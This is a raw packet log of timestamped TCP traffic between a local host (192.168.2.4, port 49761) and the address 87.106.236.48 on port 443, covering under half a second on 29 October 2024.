Oct 29, 2024 04:17:35.422192097 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.422260046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.422298908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.422322989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.422645092 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.422667027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.422704935 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.422718048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.422744036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.422807932 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.423226118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.423245907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.423280954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.423294067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.423325062 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.423492908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.423681974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.423703909 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.423748016 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.423772097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.423796892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.423818111 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.466763020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.466792107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.466840029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.466903925 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.466944933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.467005014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.470916033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.470940113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.470988989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.471013069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.471040010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.471076012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.471272945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.471301079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.471353054 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.471373081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.471396923 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.471426010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.508886099 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.508948088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.508976936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.509028912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.509084940 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.509107113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.512286901 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.512350082 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.512382984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.512403965 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.512432098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.512525082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.512762070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.512834072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.512954950 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513020039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513161898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513202906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513226986 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513243914 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513272047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513293028 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513381004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513436079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513452053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513468027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513498068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513540030 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513829947 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513900995 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.513920069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.513973951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514241934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.514283895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.514305115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514318943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.514344931 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514373064 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514698982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.514740944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.514774084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514786959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.514812946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514837027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.514934063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.515022039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.515022039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.515074015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.515077114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.515117884 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.540400028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.540443897 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.540488958 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.540518045 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.540543079 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.540827036 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.540874958 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.540901899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.540919065 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.540950060 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.540987015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.541313887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.541353941 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.541374922 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.541389942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.541419029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.541527033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.541573048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.541588068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.541600943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.541631937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.541670084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.584290028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.584352016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.584367037 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.584405899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.584428072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.584459066 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.588160038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.588207006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.588232040 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.588247061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.588280916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.588280916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.588686943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.588728905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.588742971 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.588762045 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.588781118 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.588804007 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.627914906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.627957106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.627995968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.628077984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.628112078 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.628225088 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.629800081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.629843950 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.629863977 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.629885912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.629900932 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.629980087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630201101 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630243063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630264044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630284071 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630309105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630310059 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630361080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630505085 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630561113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630589008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630604029 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630631924 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630657911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630789042 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630831003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630860090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630873919 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.630901098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.630947113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.631244898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.631285906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.631310940 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.631347895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.631386042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.631386042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.631860018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.631902933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.631927013 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.631941080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.631967068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.631987095 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632285118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632328033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632355928 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632375956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632400036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632432938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632484913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632527113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632555962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632569075 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632597923 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632617950 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632674932 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632715940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632729053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632745028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.632771969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.632793903 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658031940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658099890 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658106089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658132076 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658169031 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658193111 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658441067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658488035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658512115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658525944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658551931 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658571959 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.658931017 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658971071 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.658987045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.659001112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.659027100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.659046888 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.659379959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.659420967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.659441948 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.659456015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.659483910 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.659503937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.701939106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.701983929 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.702019930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.702061892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.702092886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.703490019 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.705909967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.705950022 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.705972910 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.705990076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.705993891 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.706321001 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.706366062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.706382990 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.706402063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.706430912 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.707488060 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.745532036 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.745573997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.745601892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.745634079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.745656967 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.747488022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.747663021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.747720003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.747751951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.747766018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.747796059 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.747831106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.747885942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.747931004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.747946978 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.747961044 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.747992039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748009920 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748256922 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.748301983 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.748323917 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748341084 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.748367071 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748367071 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748394012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748706102 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.748749971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.748775005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748788118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.748814106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748833895 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.748969078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749012947 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749027014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749042034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749073029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749073982 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749349117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749417067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749433994 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749449015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749481916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749481916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749794006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749838114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749861956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749875069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.749898911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.749917984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.750068903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.750113010 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.750129938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.750144005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.750174046 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.750194073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.750267029 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.750309944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.750318050 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.750335932 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.750365019 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.750386953 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.775305986 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.775361061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.775401115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.775417089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.775455952 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.775473118 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.775521994 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.775564909 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.775573015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.775590897 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.775636911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.775636911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.776123047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.776165009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.776196003 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.776209116 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.776236057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.776257038 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.776665926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.776731014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.776766062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.776850939 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.776981115 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.777026892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.777045965 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.777059078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.777085066 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.777108908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.823036909 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.823080063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.823146105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.823213100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.823246956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.823268890 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.823434114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.823513985 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.823570967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.823635101 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.824059963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.824101925 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.824125051 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.824141026 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.824172020 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.824198008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.862972975 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.863054991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.863121033 CET	49761	443	192.168.2.4	87.106.236.48
